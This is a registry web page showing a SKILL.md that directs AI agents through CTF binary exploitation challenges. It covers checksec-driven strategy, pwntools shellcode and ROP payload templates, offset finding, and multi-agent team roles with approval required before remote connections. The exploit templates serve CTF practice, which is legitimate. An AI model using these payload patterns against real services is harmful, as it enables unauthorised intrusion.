agentleFS
MysterionRiseMysterionRise/ctf-kit/skills/pwn/SKILL.md

pwn

Skill12 starsChanged 9 months agoMITView on GitHub

Solve CTF binary exploitation (pwn) challenges: buffer overflows, format strings, ROP chains, heap exploitation, and shellcoding. Use when given ELF/PE binaries with a remote service to exploit. Triggers: "buffer overflow", "format string", "ROP", "shellcode", "checksec", "NX", "canary", "PIE", "GOT overwrite", "ret2libc", pwntools scripts, .elf files, nc/netcat connection targets. Tools: checksec, ROPgadget, pwntools, gdb, one_gadget. NOT for static reverse engineering (use reverse).

1 other project uses a version of this.

Adopted by

Most recently taken up by

  • Other versions1 project uses a version of this.

    Word for word · 0

    None found.

    Edited · 0

    None found.

    Wrote their own version · 1

    1. Shad0wMazt3r/The-Scaffolding★ 3same name

    How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.

  • In this repository15 other files it gives its agents.

The file

We split this skill into the rules it gives an agent

5 rules. About 0 are common, 4 are distinctive, and 1 is very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈4

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Use this command for challenges involving:

    line 20
  2. Distinctive:

    Run binary, understand behavior

    line 89
  3. Distinctive:

    Test locally, then remote

    line 94
  4. Very specific:

    When using /ctf-kit:team-solve with a pwn challenge, the lead spawns 3 specialists.

    line 123
  5. Distinctive:

    Exploit-dev requires plan approval: before connecting to remote targets.

    line 125

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

CTF Pwn

Analyze and exploit binary exploitation challenges.

When to Use

Use this command for challenges involving:

  • ELF binaries
  • Buffer overflows
  • Format string vulnerabilities
  • ROP chains
  • Heap exploitation

Bundled Scripts

  • check-tools.sh — Verify required pwn tools are installed
  • run-checksec.sh — Check binary protections (CANARY, NX, PIE, RELRO). Outputs JSON with protection status, attack vectors, and suggested exploitation strategy.
  • pwn-docker.sh — Run a command in the ctf-pwn linux/amd64 container with the current directory mounted at /chal (gdb/pwndbg, pwntools, one_gadget, patchelf, qemu-user). Use on macOS / Apple Silicon.

Instructions

  1. First check tool availability: bash scripts/check-tools.sh
  2. Start with checksec to understand binary protections:

    bash scripts/run-checksec.sh $ARGUMENTS

    The JSON output includes:

    • protections: status of each protection (enabled/disabled/partial)
    • attack_vectors: viable exploitation approaches
    • suggestions[0]: recommended exploitation STRATEGY based on protections

    Example: if stack_canary=disabled and nx=disabled, the strategy is "Classic buffer overflow with shellcode injection".

  3. Based on checksec JSON, proceed with exploitation:

    No Canary + No NX (shellcode):

    from pwn import *
    p = process('./binary')
    shellcode = asm(shellcraft.sh())
    payload = shellcode + b'A' * (offset - len(shellcode)) + p64(buf_addr)
    p.sendline(payload)
    p.interactive()

    No Canary + NX + No PIE (ROP):

    ROPgadget --binary ./binary --re "pop rdi"
    payload = b'A' * offset + p64(pop_rdi) + p64(bin_sh) + p64(system)

    PIE enabled (need leak):

    • Leak address via format string or partial overwrite
    • Calculate base address
    • Build ROP chain with calculated addresses
  4. Find offset to return address:

    from pwn import *
    print(cyclic(200))
    # After crash: cyclic_find(0x61616161)

Exploitation Checklist

  1. Run binary, understand behavior
  2. run-checksec.sh → read JSON attack_vectors
  3. Find vulnerability (overflow, format string)
  4. Find offset to control
  5. Build exploit (shellcode or ROP)
  6. Test locally, then remote

macOS / Apple Silicon

Linux ELF binaries cannot run natively on macOS. Use the ctf-pwn container (build once: docker build --platform linux/amd64 -t ctf-pwn <ctf-kit>/docker/pwn):

bash scripts/pwn-docker.sh ./binary                 # run the binary
bash scripts/pwn-docker.sh python3 solve.py         # run a pwntools exploit locally
bash scripts/pwn-docker.sh                          # interactive shell (tmux available)

Under amd64 emulation ptrace does not work: gdb ./binary, gdb.debug(), gdb.attach(pid), gdbserver, strace and ltrace fail or print garbage. Instead:

  • Debug through qemu's gdb stub (breakpoints, registers, memory and stepping work; pwndbg vmmap does not):

    qemu-x86_64 -g 1234 ./binary &
    pwndbg -ex 'target remote :1234' ./binary

    From pwntools: p = process(['qemu-x86_64', '-g', '1234', './binary']), then attach pwndbg from another tmux pane.

  • Trace syscalls with qemu-x86_64 -strace ./binary.
  • Match the remote libc with patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./binary.

Team Roles

When using /ctf-kit:team-solve with a pwn challenge, the lead spawns 3 specialists.

Exploit-dev requires plan approval before connecting to remote targets.

RoleTeammate NameFocusToolsFirst Action
Static Analystbinary-analystchecksec, disassembly, vulnerability identification, function mapping, string cross-refschecksec, radare2, scripts/run-checksec.shRun checksec, disassemble main + interesting functions, identify vuln class
Exploit Developerexploit-devPayload crafting, ROP chain building, shellcode, format string exploitation, ret2libc/ret2csupwntools, ROPgadget, one_gadgetBuild exploit based on static analysis, find gadgets, calculate offsets
Dynamic Analystdynamic-analystGDB debugging, offset finding, leak discovery, heap state inspection, ASLR/PIE bypassgdb, pwntools, ltrace, straceRun binary with cyclic pattern, find crash offset, identify leakable addresses

Workflow coordination

The pwn team has a natural dependency chain:

  1. Static analyst runs first → identifies protections and vulnerability type
  2. Dynamic analyst runs in parallel → finds offsets and leaks
  3. Exploit developer waits for both → builds the final exploit

When to broadcast

  • Static: "Binary has no canary + no PIE, vuln in read() at offset 0x40" — exploit dev starts building
  • Dynamic: "Crash at offset 72, libc leak via puts@GOT" — exploit dev uses these values
  • Exploit dev: "Exploit works locally, switching to remote" — lead reviews plan before remote connection
  • Any: "Got shell / found flag" — immediate broadcast, all stop

Example Usage

/ctf-kit:pwn ./challenge
/ctf-kit:pwn ./binary

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.